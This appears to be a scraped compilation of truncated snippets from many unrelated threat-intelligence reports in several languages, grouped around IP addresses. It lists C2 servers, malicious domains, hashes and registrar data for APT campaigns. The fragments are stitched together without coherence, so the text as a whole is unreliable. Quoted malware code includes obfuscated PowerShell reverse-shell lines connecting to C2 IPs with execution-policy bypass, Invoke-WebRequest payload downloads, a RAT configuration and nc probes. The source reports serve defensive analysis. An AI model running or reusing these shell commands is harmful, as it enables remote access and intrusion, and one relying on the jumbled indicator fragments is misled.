Unauthorized Date: Mon, 08 Aug 2022 14:14:49 GMT Content-Type: application/json; charset=utf-8 Content-Length: 24 Connection:…","…of inteam.live cluster IP Addresses (all AS14956 RouterHosting LLC / Cloudzy) IP PTR Record 144.172.110.53 53.110.172.144.static.cloudzy.com 144.172.115.16 16.115.172.144.static.cloudzy.com 144.172.117.143 143.117.172.144.static.cloudzy.com…","…2015-10-23 37.87.25.23 127.0.0.1 N/A 2015-10-30 2015-11-20 100.158.242.245 46.100.250.10 Iran 2015-11-27 2016-01-07 53.250.8.254 76.9.60.204 Canada 2016-01-14 2016-08-17 87.151.206.56 The application establishes a HTTPS connection, introducing…","…압축 파일명 이력서 모음 .zip 다운로드 도메인 filestorage.b4a.app/download.html (Back4app) 아이피 주소 44.199.48.119 [ 미국 ], 54.164.68.94 [ 미국 ] / (AMAZON-AES) 악성 파일명 임원이력서 - 김 **.lnk ( 일부 * 표기 대체 ) MD5 1b046ab2261bc0dc5c6cd999f9a8b1c6 SHA256…","…(TCP) 23.198.249.163:443 (TCP) 23.44.229.223:443 (TCP) 23.62.216.24:443 (TCP) 23.75.68.149:443 (TCP) 255.255.255.255:67 (UDP) 54.189.10.237:443 (TCP) 67.195.204.56:443 (TCP) 67.195.228.56:443 (TCP) 72.21.91.29:80 (TCP) 8.8.8.8:53 (UDP) 2023-04-26 07:53:46 UTC…","…且该组织在这次的攻击中使用CobaltStrike作为最终投递的攻击载荷，这点与该组织在过去的活动中最后阶段投递的远控也有所差异。 同样捕获了一批疑似该组织的测试样本，上传时间在今年的5月14日左右，这些样本使用与捕获的样本一样的TTP，这些样本使用54.80.204.133、54.226.210.44作为payload的下载服务器以及最终CobaltStriketeamserver的地址。…","…(4) 192.99.20.39 199.79.63.24 51.68.152.96 54.241.91.49 Findings 586d012540ed1244572906e3733a0cb4bba90a320da82f853e5dfac82c5c663e Tags downloadertrojan Details Name…","…115.23.252.233 au-pair.org 212.227.91.36 fabianiarte.com 51.68.119.230 scimpex.com 103.227.176.20 automercado.co.cr 54.241.91.49 ns3145204.ip-51-68-119.eu 51.68.119.230 reverse-31-186-8 - 221.turkicaret.net 31.186.8.221 kmdia.or.kr 210.217.137.70…","…the IP value with the key 0x186BFB49. The following is an example using the default hostname, download.ns360.info: orig IP resolution: 54.251.107.25= 36 FB 6B 19 = 196BFB36 xored: 127.0.0.1 = 7F 00 00 01 = 0100007F The following is an example of the default URL with an added number,…","…on port 443 with encoded data. 54.241.91.49 Whois Queried whois.arin.net with \"n 54.241.91.49\"... NetRange: 54.240.0.0 - 54.255.255.255 CIDR: 54.240.0.0/12 NetName: AMAZON-2011L NetHandle: NET-54-240-0-0-1 Parent: NET54 (NET-54-0-0-0-0) NetType: Direct Allocation…","…polyboatowners.com 101.0.115.80 kbcwainwrightchallenge.org.uk 217.69.41.33 djasw.or.kr 114.207.112.202 americanhotboats.com 54.39.64.114 shinwonbook.co.kr 211.115.65.71 server2.urgentfury.net 51.79.44.111 s17643226.onlinehome-server.info 212.227.91.36…","…2025-01-21 2025-01-23 Python api.stockinfo.io 136.244.93.248 2024-10-30 2024-11-11 Python cdn.logoeye.net 54.39.83.151 2024-10-29 2024-11-03 Python en.wfinance.org 195.133.26.32 2024-10-12 2024-11-01 Python en.stocksindex.org…","…36A3 IPs 104.155.149.103 40.121.90.194 185.29.8.162 146.4.21.94 46.183.221.109 84.38.133.145 109.248.150.13 155.94.210.11 192.186.183.133 54.68.42.4 84.38.133.145 213.180.180.154 URLS http[://]104.155.149.103/2-443.ps1 http[://]104.155.149.103/8080.ps1 http[://]104.155.149.103/mi64.tmp…","…104.155.149.103 40.121.90.194 185.29.8.162 146.4.21.94 46.183.221.109 84.38.133.145 109.248.150.13 155.94.210.11 192.186.183.133 54.68.42.4 84.38.133.145 213.180.180.154 URLS http[://]104.155.149.103/2-443.ps1 http[://]104.155.149.103/8080.ps1…","…(TCP) 192.229.211.108:80 (TCP) 23.33.241.186:443 (TCP) 23.47.64.173:443 (TCP) 23.47.64.24:443 (TCP) 23.55.60.32:443 (TCP) 54.80.119.162:443 (TCP) 74.125.136.101:443 (TCP) 현재 탐지 하고 있는 보안…","…并且该组织在这次的攻击中使用CobaltStrike作为最终投递的攻击载荷，这点与该组织在过去的活动中最后阶段投递的远控也有所差异。 同样捕获了一批疑似该组织的测试样本，上传时间在今年的5月14日左右，这些样本使用与捕获的样本一样的TTP，这些样本使用54.80.204.133、54.226.210.44作为payload的下载服务器以及最终CobaltStriketeamserver的地址。…","…be found below: Domain IP First seen ASN pinkgoat.com 64.190.63.111 2022‑03‑03 15:34 AS47846 purewatertokyo.com 58.158.177.102 2022‑05‑20 16:07 AS17506 purplebear.com 52.128.23.153 2021‑01‑08 08:37 AS19324 salmonrabbit.com 58.158.177.102…","…106.250.168.50/rd.exe http://106.250.168.50/todesk.rar http://119.201.213.146/mscorsvw2.exe http://183.111.148.147/mscorsvw2.exe http://58.180.56.28/mscorsvw2.exe AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다.…","…88.53.215.64:8000 イタリア ネットワー クワイ パー (760C35A80D758F032D02CF4DB12D3E55) 200.87.126.116:8000 ボリビア N/A 58.185.154.99:8000 シンガポール N/A 212.31.102.100:8080 キプロス N/A 208.105.…","…used by the actor for C2 communications: 210.16.120.34 216.189.157.89 45.58.55.73 45.13.135.103 27.102.114.89 210.16.121.137 58.229.208.146 27.102.107.63 download.riseknite.life onedrive-upload.ikpoo.cf alps.travelmountain.ml texts.letterpaper.press Analysis of the most…","…de13155f4a4cb1af04539883545151905ad4496ea6ef34cb22e50831f7caa38a 41.131.29.59 176.35.250.93 64.86.34.24 58.6.21.11 114.215.107.218 118.140.97.6 190.216.219.247 201.26.209.137 14.161.14.196 220.132.191.110 92.42.54.184…","…190.85.159.46 190.81.34.163 191.215.16.82 91.140.255.62 68.232.175.188 128.201.64.194 23.254.144.139 209 .208.109.38 59.120.122.35 145.108.194.10 140.117.91.22 199.66.91.106 202.39.61.57 192.48.29.14 197.44.198.211 186.232.112.25 125.100.175.62…","…corresponds to B‑class subnets assigned to public/government entities IP地址 (繁體中文) . 59.125.159.81 Belongs to the broader 59.125.159.0–59.125.159.254 block, commonly used by Taiwanese ISP operators such as Chunghwa Telecom in Taipei Taken together, this Taiwan-focused activity reveals…","…192.168.150.118 ping 192.168.20.118 nc -v swi-nwv2.ad.plc.ned.org 443 nc -v 210.71.195.10 25 nc -v 211.23.123.246 25 nc -v 59.125.159.81 25 ping mail.h805.mn nc -v 163.29.3.119 25 nc -v 163.29.149.131 25 The focus on port 25 (SMTP) suggests email server reconnaissance,…","…78.94.213.101 203.144.133.42 69.64.54.215 210.212.148.30 66.181.166.15 23.65.190.86 70.184.87.103 91.98.251.208 59.127.150.197 190.85.159.46 190.81.34.163 191.215.16.82 91.140.255.62 68.232.175.188 128.201.64.194 23.254.144.139 209 .208.109.38…","…3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210 59.90.93.97 Ports 443 TCP Whois inetnum: 59.90.64.0 - 59.90.127.255 netname: BB-Multiplay descr: O/o DGM BB, NOC BSNL Bangalore country: IN admin-c: BH155-AP tech-c: DB374-AP status: ASSIGNED…","…(dwnhost.dll) IPs (7) 111.207.78.204 181.119.19.56 184.107.209.2 59.90.93.97 80.91.118.45 81.0.213.173 98.101.211.162 Findings 8c3e0204f52200325ed36db9b12aba1c5e46984d415514538a5bf10783cacdf8 Tags backdoo…","…209.105.242.64 211.233.13.11 211.233.13.62 211.236.42.52 211.49.171.243 218.103.37.22 221.138.17.152 221.161.82.208 23.115.75.188 61.100.180.9 61.78.63.95 80.153.49.82 Ignite ’17 Security Conference: Vancouver, BC June 12–15, 2017 Ignite ’17 Security Conference is a live,…","…https://strivemktsupporters.com 3.39.208.187 222.118.225.33 211.110.1.17 20.194.29.89 119.207.79.175 61.100.5.186 110.10.189.167 14.63.165.32 211.110.1.93 182.252.138.31 114.207.112.19 1.249.169.5 연관 IOC 및 관련 상세 분석 정보는 안랩의 차세대 위협 인텔리전스 플랫폼…","…novel21.co.kr webhostingkorea.com 121.254.222.10 121.254.222.80 211.239.157.126 218.150.78.198 218.150.78.231 61.100.9.206 이 글 공유하기 Facebook LinkedIn Email…","…(described below) 14.139.200.107 197.211.212.31 199.180.148.134 110.45.145.103 217.117.4.110 61.106.2.96 175.100.189.174 153db613853fb42357acb91b393d853e2e5fe98b7af5d44ab25131c04af3b0d6 ELF ARM file likely of the same malware family as…","…29.11.203 124.248.228.30 139.196.55.146 14.139.200.107 175.100.189.174 181.119.19.100 197.211.212.31 199.180.148.134 217.117.4.110 61.106.2.96 Introducing McAfee+ Identity theft protection and privacy for your digital life Download McAfee+ Now…","…samples continue to be used at the time of this writing, and were observed communicating with the following host for C2 communication: 61.14.210.72:7117 Interesting Ties with Other Threat Activity As stated earlier within this blog, there is infrastructure overlap between the…","…4 211.233.13.11 211.233.13.62 211.236.42.52 211.49.171.243 218.103.37.22 221.138.17.152 221.161.82.208 23.115.75.188 61.100.180.9 61.78.63.95 80.153.49.82 Ignite ’17 Security Conference: Vancouver, BC June 12–15, 2017 Ignite ’17 Security Conference is a live, four-day…","…한국[KR] Ehostict 27.255.81.113 한국[KR] Ehostict 27.255.81.73 한국[KR] Ehostict 27.255.81.77 한국[KR] Ehostict 61.97.251.248 한국[KR] Ehostict [표 4] 'akites.site' 도메인의 아이피 주소 이력 ○ 27.255.75.153 아이피를 포함해 다수의 공통 주소로 연결됐던 'civilarys.store' 도메인 주소를 살펴보면…","…및 물가.hwp.lnk 185.231.154.22 [RU] RT3AN7C9QS-7UYE-9K6G-A8F1-HY8IT3CNMEQP 2 첨부1_소명자료 목록(탈세제보).hwp.lnk 62.113.118.157 [RU] RT3AN7C9QS-7UYE-9K6G-A8F1-HY8IT3CNMEQP 3 첨부1_소명자료 목록(탈세제보).hwp.lnk 93.183.93.185 [RU]…","…#AutoIt3Wrapper_Outfile= Lilith.a3x #AutoIt3Wrapper_AU3Check_Stop_OnWarning=y Global $server_ip = \"62.113.118.157\" Global $server_port = 80 Global $buffer_size = 1024 Global $mutexname =…","…IP 116.202.99.218 192.109.119.113 212.118.52.168 38.180.148.108 62.113.118.157 77.246.101.72 77.246.108.96 89.110.83.245 91.107.208.93 93.183.93.185 94.103.87.212 109.234.36.135…","…technology LTD 91.107.208.93 23.254.225.184 194.68.27.204 GSRAT 116.202.99.218 38.180.249.56 Hetzner Online GmbH M247 Europe SRL 62.113.118.157 • The threat actor abuses WordPress-based web sites as staging infrastructure • They also use multiple VPS and hosting services as C2…","…p http://sibbss.com/upload.php http://oryzanine.com/index.php http://mq734121.info/index.php 93.183.93.185:57860 185.231.154.22:52720 62.113.118.157:57860 Threat Intelligence Apt North Korea Konni Punk 003 -- --…","…(UK) N/A N/A fighiting1013.org 188.241.39.220 (UK) N/A N/A karachi-pk.com 188.241.39.220 (UK) N/A N/A karachi-tan.com 62.133.58.60 (US) N/A N/A attachment-download.net 188.241.39.10 (UK) N/A N/A naver.attach-download.com 104.243.41.186 (US)…","…140.117.91.22 199.66.91.106 202.39.61.57 192.48.29.14 197.44.198.211 186.232.112.25 125.100.175.62 192.183.29.182 62.201.228.179 181.193.82 .122 197.51.50.158 140.136.134.201 185.45.28.182 203.151.166.13 104.168.137.213 88.204.166.59 URL s…","…(Real C2) Country First Seen Last Seen Resolved IP (C2 disguise) 67.65.229.53 US 2015-08-05 2015-08-19 88.223.23.193 62.201.235.227 Iraq 2015-08-26 2015-10-23 37.87.25.23 127.0.0.1 N/A 2015-10-30 2015-11-20 100.158.242.245 46.100.250.10 Iran…","…C&Cs 182.56.5.227 222.122.31.115 66.99.86.8 210.61.8.12 62.215.99.90 Jay Rosenberg Building Your Bullet Proof Incident Response Plan Unpacking reveals a…","…3.194.79.95:443(TCP) 192.178.27.195:443(TCP) 192.178.49.195:443(TCP) 239.255.255.250:1900(UDP) 34.104.35.123:80(TCP) 34.87.124.238:443(TCP) 63.250.38.85:443(TCP) 74.125.143.94:443(TCP) 8.8.8.8:53(UDP) 2023-08-22 08:37:31 UTC 바이러스토탈에서 탐지하는 보안 업체들은 다음과 같습니다.…","…URL ⚫ http://64.176.225.7/user/member.php ⚫ http://158.247.230.158/articles/list.php ⚫ http://158.247.238.232/style/display.php ⚫…","…NAMECHEAP INC 18 onmsed.com 2026-04-01 05:47:13 64.187.97.203 400343 NAMESILONNET - NAMESILO, L.L.C.…","…107.172.197.175 United States ASN36352 ColoCrossing 172.93.201.219 United States ASN20278 Nexeon Technologies, Inc. 64.188.19.117 United States ASN8100 QuadraNet Enterprises LLC 74.121.190.121 United States ASN23033 Wowrack.com 192.210.213.178 United States ASN36352…","…itself from the infected endpoint using a BAT file. Additional malware One of the C2 servers used by the new MagicRAT sample, 64.188.27.73, hosted two more distinct implants masquerading as GIF URLs.…","…Some of the peculiar names used in the DTrack infrastructure can be found below: Domain IP First seen ASN pinkgoat.com 64.190.63.111 2022‑03‑03 15:34 AS47846 purewatertokyo.com 58.158.177.102 2022‑05‑20 16:07 AS17506 purplebear.com 52.128.23.153…","…난독화된 문자열을 여러 개 조합하여 최종 코드 생성 $qsw0, $uvw1, $ruz2 등 여러 개의 Base64 인코딩된 문자열을 결합하여 실행할 코드 구성 Invoke-Expression을 이용하여 최종 페이로드 실행 C2:64.20.59.148 기존 악성 파일 삭제 Remove-Item c:\\programdata\\le.ps1 외부 URL에서 ZIP 파일 다운로드:Invoke-WebRequest -Uri \"http://snswf.dropwm.com/...…","…저장된 스크립트를 다시 실행 저장한 e.ps1 파일을 다시 PowerShell을 통해 실행 e.ps1 분석 64.20.59.148 이걸 읽으면 ProcessExplorer 본 악성코드 실행 IP 주소를 문자열로 저장하고 거꾸로 저장하거나 Base64로 인코딩하거나 문자 배열로 나누고 재조합 64.20.59.148 cbbsU[1]->포트 5588…","…-ep bypass -c $g='b56(1)4';$o\"+g(+)\"'+$g;sc $o 0;whi\"(+)\"le($true) {$a=New-Object Syst\"+\"em.Net.Soc\"(+)\"kets.TcpClien\"+\"t\"+\"('64.20.59.148'(,)7711); $s=$a.GetSt\"(+)\"ream();\"(+)t(+)\"Writer($s);$w.Au(t)oFlush=$true;$z='123'(+)$g;$w.WriteLin…","…IP 159.100.13.216 213.145.86.223 216.219.87.41 64.20.59.148 Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP . For subscription details, click the banner…","…It establishes a connection with a malicious IP address which can also be said to be as the command-and-control server ( 64.20.59.148 ) through ports 8855 and 6699 . The e.ps1 script then downloads a ZIP file ( gs.zip ) from a Dropbox C2 server and extracts its…","…an implant from the Konni RAT family as the final payload. Impact Information Theft and Espionage Indicators of Compromise IP 64.227.161.158 MD5 2eebb492567f5d4727c2812a151ead68 5c88f02ebe01437130b82c4d5e87504f SHA-256…","…we were able to cluster these atomic entities, and their siblings, together with high confidence: All hosts were registered to 64.44.141.15 starbucls.xyz and crypto.hondchain.com were observed being used by our malware samples starbucls.xyz and jaicvc.com shared a TLS…","…DangerousPassword and BlueNorOff are campaigns that have both been previously associated with the DPRK. Using the IP address ( 64.44.141.15 ) for our initial C2 domain, crypto.hondchain.com , we uncovered 3 additional C2 domains: starbucls.xyz jaicvc.com…","…\"type\": \"ipv4-addr\"}}} {\"threat\": {\"indicator\": {\"description\": \"Simple indicator of observable {64.44.141.15}\", \"ip\": [\"64.44.141.15\"], \"marking\": {\"tlp\": \"clear\"}, \"provider\": \"Elastic Security Labs\", \"reference\":…","…On crafting the payload we get the something like this: The server (64.49.14.181) is sending a Base64-encoded payload, which is decoded and saved as a ZIP file (t.zip).…","…+s;t=\" -Pa(t)h $t -\";n=\"New(-)Object System.\";d=\"c:\\\\pr(o)gramdata\";c=\"power\" (+)\"shell -ep by(p)ass -c $r='64.49.14.181';$p='8014';$r=\"+n+\"IO.\"(+)s+\" Reader((\"+n+\"Net.Socket(s).TcpClient($r, $p)).Get\"+s+\"());$z=$r.ReadLi(n)e();$…","…;a=\"System.IO.\"+s;t=\" -Path $t -\";n=\"New-(O)bject System.\";d=\"c:\\\\prog ra(m)data\";c=\"power\"(+)\"shell -ep bypass -c $r='64.49.14.181';$p='8 014';$r=\"+n(+)\"IO.\"+s+\"Reader((\"+n+\"Net.Sockets.TcpClient($r, $p)).Get\"…","…IP 103.5.144.26 159.100.13.216 206.206.127.152 216.107.137.73 64.49.14.181 Tags: AsyncRAT InfoStealer Keylogger Kimsuky lnk PebbleDash proxy RATClient RDPWrapper…","…- 41.131.29.59:443 (EG) - 176.35.250.93:443 (GB) - 64.86.34.24:443 (CA) [그림 10] 명령 제어 서버 코드 화면 그리고 이 파일 역시 개인 금융 소프트웨어 위장으로 설치된 악성 프로그램과 동일하게 윈도우즈 명령 처리기 코드 조합을 특유의 방식으로…","…※ 오퍼레이션 배틀크루저 (Operation Battlecruiser) C&C - hypnosmd.com/include/top.php (64.90.49.224 / US) - 0756rz.com/ include/left.php ( 104.222 .239.110 / US) - 51xz8.com/include/top.php ( 104.222 .230.87 / US)…","…High - IP 193.160.32.10 High - IP 193.160.32.188 High - IP 65.110.40.18 High - IP 170.205.28.251 High - IP 193.160.32.243 High - IP…","…Amadey 9e1a3653029b5378736ea1debba44cd81988de73b6d8689f9eba792e719da79a SHA-256 AutoIt Amadey 38.180.249.56 C2 GSRAT 65.21.154.31 C2 GSRAT 116.202.99.218 C2 GSRAT 194.68.27.204 C2 GSRAT 109.234.36.135 C2 GSRAT 62.113.118.157 C2 Custom Lilith RAT 94.103.87.212 C2 Custom…","…45.128.199.27 45.8.25.82 45.8.68.79 45.8.68.80 45.83.220.216 45.86.202.216 45.86.202.4 45.95.243.104 45.95.243.155 66.115.146.163 78.109.18.227 84.247.59.103 84.247.59.113 84.247.59.115 84.247.59.123 84.247.59.13 84.247.59.145 84.247.59.146…","…4.188.27.73/board/logo_adm_org.gif http[://]64.188.27.73/board/tour_upt.html IPs 193.56.28.251 52.202.193.124 64.188.27.73 151.106.2.139 66.154.102.91 Share this post Related Content Chaos ransomware's msaRAT:…","…ClearSky Security Ltd . info@clearskysec.com www.clearskysec.co m TLP: W hite Page | 17 June 20 20 IP addresses 66.181.166.11 78.94.213.101 203.144.133.42 69.64.54.215 210.212.148.30 66.181.166.15 23.65.190.86 70.184.87.103 91.98.251.208…","…Page | 17 June 20 20 IP addresses 66.181.166.11 78.94.213.101 203.144.133.42 69.64.54.215 210.212.148.30 66.181.166.15 23.65.190.86 70.184.87.103 91.98.251.208 59.127.150.197 190.85.159.46 190.81.34.163 191.215.16.82 91.140.255.62…","…mskpupdate.publicvm.com d0c500c37ae9f9e3657d26272722b997 googledrive.publicvm.com 629f6a17bea4c386aee3dfec2ed6ec2c 66.181.166.15 5bb049c31f5fb8c4a076def3efb91177 d3d32225bf893ccc62dee9d833fe04f2 2. Comparison of indicators ( I O C ’ s ) between…","…These findings led us to believe that entity 128.201.64.194 is possibly a compromised Mikrotik router. While entities 203.144.133.42 and 66.181.166.15 have multiple identical services running such as Microsoft IIS, MS-SQL, Microsoft HTTP-API and RDP/VNC as of writing this article.…","…-w Hidden -ep Bypass -file C:Users\\<USER>\\AppData\\Local\\Temp\\usoclient.ps1 66.181.166.15:8080/uc 188652471 Detection As PowerShell is also a common tool among system administrators, a simple detection of its execution will…","…2026-02-09 15:30:11 188.227.197.32 400897 PETROSKY CLOUD LLC NameSilo, LLC 124 uz06web.us 2026-02-09 12:09:31 66.29.132.149 22612 Namecheap, Inc.…","…NameSilo, LLC 2 uk05live.us 2026-04-06 17:33:40 66.29.141.223 22612 NAMECHEAP-NET - Namecheap, Inc.…","…NAMECHEAP INC 63 microszlt.com 2026-03-13 19:32:27 66.29.141.6 22612 Namecheap, Inc.…","…2024-06-15 ScoringMathTea C&C server: https://www.mnmathleague.org/ckeditor/adapters/index.php 66.29.144.75 pierregems.com Namecheap, Inc.…","…NAMECHEAP INC 51 teamsiiwe.com 2026-03-16 18:40:28 66.29.153.158 22612 Namecheap, Inc.…","…NAMECHEAP INC 48 teemsliivc.com 2026-03-19 17:29:09 66.29.153.159 22612 Namecheap, Inc.…","…시만텍 Safe Web 에서 차단 악성 도메인 66.96.162.245 2023-06-04 10:03:55부터 잘 사용을 하고 있습니다. 뭐~인증서는 Let's Encrypt 이고 구글 세이프 브라우징은 차단을 못 하고 믿었던 Emsisoft Browser Security도 차단을 못 하지만 노턴 시만텍 Safe…","…(TCP) 23.62.216.24:443 (TCP) 23.75.68.149:443 (TCP) 255.255.255.255:67 (UDP) 54.189.10.237:443 (TCP) 67.195.204.56:443 (TCP) 67.195.228.56:443 (TCP) 72.21.91.29:80 (TCP) 8.8.8.8:53 (UDP) 2023-04-26 07:53:46 UTC 바이러스토탈(VirusTotal) 기준으로 탐지하는 보안 업체들은 다음과 같습니다.…","…45.61.129.255 45.61.130.0 45.61.131.218 45.61.158.54 45.61.158.7 45.61.160.14 45.61.169.187 45.61.169.99 45.89.53.59 46.4.224.205 67.203.0.152 67.203.123.171 67.203.6.171 67.203.7.163 67.203.7.171 67.203.7.245 77.37.37.81 91.92.120.135 95.164.17.24 blocktestingto.com…","….61.131.218 45.61.158.54 45.61.158.7 45.61.160.14 45.61.169.187 45.61.169.99 45.89.53.59 46.4.224.205 67.203.0.152 67.203.123.171 67.203.6.171 67.203.7.163 67.203.7.171 67.203.7.245 77.37.37.81 91.92.120.135 95.164.17.24 blocktestingto.com de.ztec.store hirog.io…","…C2 주소 체계가 기존 코니 유형과 정확히 일치해, 동일 범주내 위협 캠페인에 속합니다. ○ 네트워크 분석을 확장해보면 '159.100.13.216' 서버와 연결된 여러 도메인 중에 'ranujos.online' 주소가 식별되고, 미국 소재 '67.211.213.224' 주소와 연결된 과거 이력이 조회됩니다.…","…PurpleInk 2eb9c6722139e821c2fe8314b356880be70f3d19d8d2ba530adc9f466ffc67d8 Network IOCs 67.213.221.6 192.145.127.190 45.9.251.14 199.229.250.142 Share this post…","…2026-02-04 16:28:37 188.227.197.32 400897 PETROSKY CLOUD LLC NAMECHEAP INC 143 microsmeet.com 2026-02-04 15:25:47 67.223.118.116 22612 Namecheap, Inc.…","…NameSilo, LLC 94 livescall.xyz 2026-02-25 08:13:09 67.223.118.42 22612 NAMECHEAP-NET - Namecheap, Inc.…","…Network IP Provider First seen Details 67.225.140.4 Liquid Web, L.L.C 2021‑10‑12 A compromised legitimate WordPress-based site hosting the C&C server…","…LLC 2020‑01‑06 A compromised legitimate site hosting the C&C server: https://hurricanepub.com/include/include.php 67.225.140.4 turnscor.com Liquid Web, L.L.C 2020‑01‑03 A compromised legitimate WordPress-based site hosting the C&C…","…binary: The .mina Mach-O payload itself contains a number of interesting UTF-16 strings that both indicate its purpose and its C2s. 67.43.239.146:443 185.62.58.207:443 plugin_file plugin_process /bin/bash plugin_reverse_p2p logsend plugin_socks The payload’s main() function is…","…43 192.210.239.122:443 198.180.198.6:443 209.90.234.34:443 216.244.71.233:443 23.227.199.53:443 23.227.199.69:443 23.254.119.12:443 67.43.239.146:443 68.168.123.86:443 Malware Technologies Linux Apple MacOS Malware Descriptions Cybercrime…","…● update.toythieves.com:443 IP xor Key (Real C2) Country First Seen Last Seen Resolved IP (C2 disguise) 67.65.229.53 US 2015-08-05 2015-08-19 88.223.23.193 62.201.235.227 Iraq 2015-08-26 2015-10-23 37.87.25.23 127.0.0.1 N/A…","…:443 198.180.198.6:443 209.90.234.34:443 216.244.71.233:443 23.227.199.53:443 23.227.199.69:443 23.254.119.12:443 67.43.239.146:443 68.168.123.86:443 Malware Technologies Linux Apple MacOS Malware Descriptions Cybercrime APT Lazarus…","…:443 198.180.198.6:443 209.90.234.34:443 216.244.71.233:443 23.227.199.53:443 23.227.199.69:443 23.254.119.12:443 67.43.239.146:443 68.168.123.86:443 Apple MacOS Malware Descriptions Cybercrime Lazarus APT Linux Malware Technologies…","…:443 198.180.198.6:443 209.90.234.34:443 216.244.71.233:443 23.227.199.53:443 23.227.199.69:443 23.254.119.12:443 67.43.239.146:443 68.168.123.86:443 Linux Lazarus APT Cybercrime Malware Descriptions Apple MacOS Malware Technologies…","…execution. 3.2.2Powershell Backdoor Component mini.ps1, more like a test version, just establishes communication with the server 68.183.78.131：4444 and then echoes the return data. And mm.ps1 completes the backdoor function based on mini.ps1.Same as mini.ps1, it also…","…23.65.190.86 70.184.87.103 91.98.251.208 59.127.150.197 190.85.159.46 190.81.34.163 191.215.16.82 91.140.255.62 68.232.175.188 128.201.64.194 23.254.144.139 209 .208.109.38 59.120.122.35 145.108.194.10 140.117.91.22 199.66.91.106 202.39.61.57…","…NAMECHEAP INC 66 liuesus.com 2026-03-12 14:57:55 68.65.121.187 22612 NAMECHEAP-NET - Namecheap, Inc.…","…NAMECHEAP INC 5 oneasu.com 2026-04-03 03:01:27 68.65.121.244 22612 NAMECHEAP-NET - Namecheap, Inc.…","…2026-03-14 13:08:43 83.136.210.29 400897 PETROSKY CLOUD LLC NAMECHEAP INC 61 microsout.com 2026-03-14 12:55:01 68.65.121.248 22612 Namecheap, Inc.…","…NAMECHEAP INC 59 nicrosolt.com[1] 2026-03-14 18:34:33 68.65.121.250 22612 Namecheap, Inc.…","…\"airbseeker.com\" has a legitimately signed Sectigo SSL certificate, which was “Domain Control Validated.\" The domain was at the IP address 68.65.122.160 with ASN 22612. globalkeystroke.com Tags command-and-control Whois Whois for globalkeystroke.com had the following…","…NAMECHEAP INC 26 teemslivo.com 2026-03-27 12:24:54 68.65.122.191 22612 Namecheap, Inc.…","…NameSilo, LLC 65 msquickcall.com[1] 2026-03-12 18:53:05 68.65.122.242 22612 Namecheap, Inc.…","…NameSilo, LLC 84 onlivecall.com 2026-02-28 18:29:43 68.65.123.114 22612 Namecheap, Inc.…","…# Domain First Seen (UTC) ASN IP ASN # Hosting Provider Registrar 1 micrusoft.us 2026-04-07 13:13:13 68.65.123.117 22612 NAMECHEAP-NET - Namecheap, Inc.…","…NameSilo, LLC 76 microsinfos.com 2026-03-05 15:00:25 68.65.123.163 22612 Namecheap, Inc.…","…NameSilo, LLC 27 reallivecall.us[1] 2026-03-27 12:07:35 68.65.123.168 22612 Namecheap, Inc.…","…NameSilo, LLC 74 msquickcall.com[1] 2026-03-06 18:08:46 68.65.123.178 22612 Namecheap, Inc.…","…2026-03-12 06:37:50 91.195.240.123 47846 SEDO-AS SEDO GmbH NameSilo, LLC 68 microselt.com[1] 2026-03-11 18:27:58 68.65.123.193 22612 Namecheap, Inc.…","…NameSilo, LLC 86 usobweb.us 2026-02-27 16:21:11 68.65.123.50 22612 Namecheap, Inc.…","…NAMECHEAP INC 85 microschats.com 2026-02-27 22:09:12 68.65.123.75 22612 Namecheap, Inc.…","…described in the table below. | Command - line argument | Description | | --- | --- | | - url | C & C server URL ( default : https : //69.10.50.165:8443) | | - method | Transport protocol selection ( http or http3 , default : http ) | | - m | Multi mode : adds the multi_ prefix to the…","…servers, as when executed (in a VM), the malware attempts to connect out to (one of) these addresses for tasking: $ ./mt.dat * Trying 69.195.124.206... * Connected to baseballcharlemagnelegardeur.com (69.195.124.206) port 443 (#0) * SSL certificate problem: certificate has expired *…","…handicap.eu5.org IP Resolution: 69.197.143.12 Domain: panda2019.eu5.org IP Resolution: 162.253.155.226 Domain: downplease.c1.biz IP Resolution: 185.176.43.94 Domain:…","…NameSilo, LLC 53 lievec.com 2026-03-16 15:22:01 69.57.162.186 22612 Namecheap, Inc.…","…NameSilo, LLC 49 onlivemeet.com[1] 2026-03-18 12:53:50 69.57.162.193 22612 Namecheap, Inc.…","…www.clearskysec.co m TLP: W hite Page | 17 June 20 20 IP addresses 66.181.166.11 78.94.213.101 203.144.133.42 69.64.54.215 210.212.148.30 66.181.166.15 23.65.190.86 70.184.87.103 91.98.251.208 59.127.150.197 190.85.159.46 190.81.34.163…","…20 20 IP addresses 66.181.166.11 78.94.213.101 203.144.133.42 69.64.54.215 210.212.148.30 66.181.166.15 23.65.190.86 70.184.87.103 91.98.251.208 59.127.150.197 190.85.159.46 190.81.34.163 191.215.16.82 91.140.255.62 68.232.175.188 128.201.64.194…","…195.158.234.60 197.211.212.59 21.252.107.198 210.137.6.37 217.117.4.110 218.255.24.226 221.138.17.152 26.165.218.44 47.206.4.145 70.224.36.194 81.94.192.10 81.94.192.147 84.49.242.125 97.90.44.200 ARTFULPIE SHA-256:…","…195.158.234.60 197.211.212.59 21.252.107.198 210.137.6.37 217.117.4.110 218.255.24.226 221.138.17.152 26.165.218.44 47.206.4.145 70.224.36.194 81.94.192.10 81.94.192.147 84.49.242.125 97.90.44.200 Findings 05feed9762bc46b47a7dc5c469add9f163c16df4ddaafe81983a628da5714461…","…ScoringMathTea C&C server: https://kazitradebd.com/wp-content/themes/hello-elementor/includes/customizer/customizer-hand.php 70.32.24.131 oldlinewoodwork .com A2 Hosting, Inc.…","…campaign later rotated to a new wallet address ( 6YGcuyFRJKZtcaYCCFba9fScNUvPkGXodXE1mJiSzqDJ ) and new C2 IPs including 45.32.151.157 and 70.34.242.255 -- notably, the first of those IPs appears in our own C2 rotation timeline from December 2025 to January 2026.…","…Cyber Threat Alliance . Indicators of Compromise Domain IP Address First Seen Last Seen Repository getstockprice.com 70.34.245.118 2025-02-03 2025-02-20 Python cdn.clubinfo.io 5.206.227.51 2025-01-21 2025-02-19 Python getstockprice.info…","…2025, when a Docker project named MC-Based-Stock-Invest-Simulator-main communicated with getstockprice.com , which resolved to IP address 70.34.245.118 .…","…Safe{Wallet} and SlowMist updates: Mandiant/Google Cloud Security network indicators published by Safe{Wallet} getstockprice.com , 70.34.245.118 trashcrease.com , 178.128.77.132 anglerstatic.com , 131.226.2.43 goingladies.com , 23.236.169.233 185.194.178.88…","…dog.dwg VERSION 1.1.8 1.1.8 